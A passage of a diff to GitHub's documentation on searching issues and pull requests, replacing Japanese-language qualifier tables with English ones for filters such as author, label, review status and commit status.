is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) は、「event」という単語があるプルリクエストにマッチします。 | -| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) は、「bug」のラベルが付いたクローズされた Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat." +| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt. +| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event." +| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug." -## タイトル、本文、またはコメントで検索 +## Search by the title, body, or comments -`in` 修飾子によって、タイトル、本文、コメントやその組み合わせに限定した検索ができます。 この修飾子を省略した場合、タイトル、本文、そしてコメントがすべて検索されます。 +With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched. -| 修飾子 | サンプル | -| ------------- | ------------------------------------------------------------------------------------------------------------------------------ | -| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) は、タイトルに「warning」を含む Issue にマッチします。 | -| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) は、タイトルか本文に「error」を含む Issue にマッチします。 | -| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) は、コメントで「shipit」にメンションしている Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title. +| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body. +| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments. -## ユーザまたは Organization のリポジトリ内の検索 +## Search within a user's or organization's repositories -特定のユーザーや Organization が保有するすべてのリポジトリの Issue とプルリクエストを検索するには、 `user` 修飾子または `org` 修飾子を使います。 特定のリポジトリの Issue やプルリクエストを検索するには、`repo` 修飾子を使います。 +To search issues and pull requests in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier. {% data reusables.pull_requests.large-search-workaround %} -| 修飾子 | サンプル | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) は、@defunkt が保有するリポジトリからの「ubuntu」という単語がある Issue にマッチします。 | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) は、GitHub Organization が保有するリポジトリの Issue にマッチします。 | -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) は、2012 年 3 月より前に作成された @mozilla の shumway プロジェクトからの Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt. +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization. +| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012. -## オープンかクローズかで検索 +## Search by open or closed state -`state` 修飾子または `is` 修飾子を使って、オープンかクローズかで、Issue およびプルリクエストをフィルタリングできます。 +You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier. -| 修飾子 | サンプル | -| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) は、「libraries」という単語がある @vmg にメンションしているオープン Issue にマッチします。 | -| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) は、本文に「design」という単語がある、クローズされた Issue にマッチします。 | -| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) は、「performance」という単語があるオープン Issue にマッチします。 | -| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) は、「android」という単語があるクローズされた Issue とプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries." +| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body. +| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance." +| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android." -## リポジトリの可視性によるフィルタ +## Filter by repository visibility -`is` 修飾子を使用して、Issue とプルリクエストを含むリポジトリの可視性でフィルタできます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion fpt or ghes or ghae or ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} +| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. -## 作者で検索 +## Search by author -`author` 修飾子によって、特定のユーザまたはインテグレーションアカウントが作成した Issue およびプルリクエストを検索できます。 +The `author` qualifier finds issues and pull requests created by a certain user or integration account. -| 修飾子 | サンプル | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) は、@gjtorikian が作成した「cool」という単語がある Issue とプルリクエストにマッチします。 | -| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) は、本文に「bootstrap」という単語を含む @mdo が作成した Issue にマッチします。 | -| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) は、「robot」というインテグレーションアカウントが作成した Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian. +| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body. +| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot." -## アサインされた人で検索 +## Search by assignee -`assignee` 修飾子は、特定のユーザにアサインされた Issue およびプルリクエストを表示します。 アサインされた人がいる Issue およびプルリクエストは、_一切_検索できません。 [アサインされた人がいない Issue およびプルリクエスト](#search-by-missing-metadata)は検索できます。 +The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata). -| 修飾子 | サンプル | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) は、@vmg にアサインされた libgit2 のプロジェクト libgit2 の Issue およびプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg. -## メンションで検索 +## Search by mention -`mentions` 修飾子は、特定のユーザーにメンションしている Issue を表示します。 詳細は「[人およびチームにメンションする](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)」を参照してください。 +The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)." -| 修飾子 | サンプル | -| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | -| mentions:USERNAME | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) は、@defunkt にメンションしている「resque」という単語がある Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| mentions:USERNAME | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt. -## Team メンションで検索 +## Search by team mention -あなたが属する Organization および Team について、 `team` 修飾子により、Organization 内の一定の Team に @メンションしている Issue またはプルリクエストを表示します。 検索を行うには、これらのサンプルの名前をあなたの Organization および Team の名前に置き換えてください。 +For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search. -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------ | -| team:ORGNAME/TEAMNAME | **team:jekyll/owners** は、`@jekyll/owners` Team がメンションされている Issue にマッチします。 | -| | **team:myorg/ops is:open is:pr** は、`@myorg/ops` Team がメンションされているオープンなプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| team:ORGNAME/TEAMNAME | **team:jekyll/owners** matches issues where the `@jekyll/owners` team is mentioned. +| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned. -## コメントした人で検索 +## Search by commenter -`commenter` 修飾子は、特定のユーザからのコメントを含む Issue を検索します。 +The `commenter` qualifier finds issues that contain a comment from a certain user. -| 修飾子 | サンプル | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) は、@defunkt のコメントがあり、「github」という単語がある、GitHub が所有するリポジトリの Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt. -## Issue やプルリクエストに関係したユーザで検索 +## Search by a user that's involved in an issue or pull request -`involves` 修飾子は、特定のユーザが何らかの方法で関与する Issue を表示します。 `involves` 修飾子は、単一ユーザについて、`author`、`assignee`、`mentions`、および `commenter` を論理 OR でつなげます。 言い換えれば、この修飾子は、特定のユーザが作成した、当該ユーザにアサインされた、当該ユーザをメンションした、または、当該ユーザがコメントした、Issue およびプルリクエストを表示します。 +You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user. -| 修飾子 | サンプル | -| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** は、@defunkt または @jlord が関与している Issue にマッチします。 | -| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues)は、本文に「bootstrap」という単語を含まず、@mdo が関与している Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in. +| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body. {% ifversion fpt or ghes or ghae or ghec %} -## リンクされた Issue とプルリクエストを検索する -結果を絞り込んで、クローズしているリファレンスによってプルリクエストにリンクされている、またはプルリクエストによってクローズされる可能性がある Issue にリンクされている Issue のみを表示することができます。 +## Search for linked issues and pull requests +You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close. -| 修飾子 | サンプル | -| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) は、`desktop/desktop` リポジトリの中で、クローズしているリファレンスによってプルリクエストにリンクされている Issue に一致します。 | -| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) は、 `desktop/desktop` リポジトリの中で、プルリクエストによってクローズされた可能性がある Issue にリンクされていた、クローズされたプルリクエストに一致します。 | -| `-linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) は、`desktop/desktop` リポジトリの中で、クローズしているリファレンスによってプルリクエストにリンクされていない Issue に一致します。 | -| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) は、 `desktop/desktop` リポジトリの中で、プルリクエストによってクローズされる可能性がある Issue にリンクされていないオープンのプルリクエストに一致します。 -{% endif %} +| Qualifier | Example | +| ------------- | ------------- | +| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. | +| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. | +| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. | +| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. |{% endif %} -## ラベルで検索 +## Search by label -`label` 修飾子を使って、ラベルで検索結果を絞り込むことができます。 Issue は複数のラベルがある可能性があることから、各 Issue について異なる修飾子を記載できます。 +You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue. -| 修飾子 | サンプル | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) は、Ruby のリポジトリにある「help wanted」のラベルがある Issue にマッチします。 | -| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues)は、「bug」ラベルはないが「priority」ラベルがある、本文に「broken」という単語がある Issue にマッチします。** | -| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} -| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %} +| Qualifier | Example +| ------------- | ------------- +| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories. +| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority." +| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %} -## マイルストーンで検索 +## Search by milestone -`milestone` 修飾子は、リポジトリ内の[マイルストーン](/articles/about-milestones)の一部である Issue またはプルリクエストを表示します。 +The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository. -| 修飾子 | サンプル | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | -| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues)は、「overhaul」という名前のマイルストーンにある Issue にマッチします。 | -| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues)は、「bug fix」という名前のマイルストーンにある Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul." +| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix." -## プロジェクトボードで検索 +## Search by project board -リポジトリまたは Organization にある特定の[プロジェクトボード](/articles/about-project-boards/)と関連する Issue を表示するには、`project` 修飾子を使います。 プロジェクトボードはプロジェクトボード番号で検索する必要があります。 プロジェクトボードの URL の末尾に、プロジェクトボード番号が表示されています。 +You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL. -| 修飾子 | サンプル | -| -------------------------- | ---------------------------------------------------------------------------------------------- | -| project:PROJECT_BOARD | **project:github/57** は、Organization のプロジェクトボード 57 に関連付けられている、GitHub が所有する Issue にマッチします。 | -| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** は、@github の Linguist リポジトリのプロジェクトボード 1 に関連付けられている Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| project:PROJECT_BOARD | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57. +| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository. -## コミットステータスで検索 +## Search by commit status -コミットのステータスでプルリクエストをフィルタリングできます。 [ステータス API](/rest/reference/repos#statuses) または CI サービスを使っている場合、特に役立ちます。 +You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/repos#statuses) or a CI service. -| 修飾子 | サンプル | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) は、ステータスが pending になっている Go リポジトリにオープンしたプルリクエストにマッチします。 | -| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) は、ステータスが successful になっている body に「finally」という単語があるオープンなプルリクエストにマッチします。 | -| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) は、ステータスが failed になっている 2015 年 5 月にオープンしたプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending. +| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status. +| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status. -## コミット SHA で検索 +## Search by commit SHA -コミットの特定の SHA ハッシュを知っている場合、その SHA を含むプルリクエストを検索するために使えます。 SHA の構文は、7 字以上であることが必要です。 +If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters. -| 修飾子 | サンプル | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | -| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) は、`e1109ab` で始まるコミット SHA のプルリクエストにマッチします。 | -| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) は、`0eff326d6213c`で始まるコミット SHA のマージされたプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`. +| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`. -## ブランチ名で検索 +## Search by branch name -元のブランチ (「head」ブランチ) またはマージされるブランチ (「base」ブランチ) でプルリクエストをフィルタリングできます。 +You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch). -| 修飾子 | サンプル | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) は、クローズされた「change」という単語から始まる名前のブランチから開かれたプルリクエストに一致します。 | -| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) は、`gh-pages` ブランチにマージされるプルリクエストにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed. +| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch. -## 言語で検索 +## Search by language -`language` 修飾子により、特定の言語で記述されたリポジトリ内の Issue およびプルリクエストを検索できます。 +With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language. -| 修飾子 | サンプル | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | -| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) は、Ruby のリポジトリにあるオープン Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories. -## コメントの数で検索 +## Search by number of comments -コメントの数で検索するには、[不等号や範囲の修飾子](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)とともに `comments` 修飾子を使います。 +You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments. -| 修飾子 | サンプル | -| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues)は、コメント数が 100 を超えるクローズした Issue にマッチします。 | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues)は、500 から 1,000 までの範囲のコメント数の Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000. -## インタラクションの数で検索 +## Search by number of interactions -`interactions` 修飾子と[不等号や範囲の修飾子](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)を使って、Issue や プルリクエストをインタラクションの数でフィルタリングできます。 インタラクションの数とは、1 つの Issue またはプルリクエストにあるリアクションおよびコメントの数のことです。 +You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request. -| 修飾子 | サンプル | -| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) は、インタラクションの数が 2,000 を超えるプルリクエストまたは Issue にマッチします。 | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) は、インタラクションの数が 500 から 1,000 までの範囲のプルリクエストまたは Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000. -## リアクションの数で検索 +## Search by number of reactions -`reactions` 修飾子と[不等号や範囲の修飾子](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)を使って、Issue や プルリクエストをリアクションの数でフィルタリングできます。 +You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). -| 修飾子 | サンプル | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) は、リアクションの数が 1,000 を超える Issue にマッチします。 | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) は、リアクションの数が 500 から 1,000 までの範囲の Issue にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000. -## ドラフトプルリクエストを検索 -ドラフトプルリクエストをフィルタリングすることができます。 詳しい情報については[プルリクエストについて](/articles/about-pull-requests#draft-pull-requests)を参照してください。 +## Search for draft pull requests +You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)." -| Qualifier | Example | ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} | `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. | `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) は、レビューの準備ができたプルリクエストに一致します。{% else %} | `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) はドラフトプルリクエストに一致します。{% endif %} +| Qualifier | Example +| ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} +| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. +| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review.{% else %} +| `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) matches draft pull requests.{% endif %} -## プルリクエストレビューのステータスおよびレビュー担当者で検索 +## Search by pull request review status and reviewer You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested 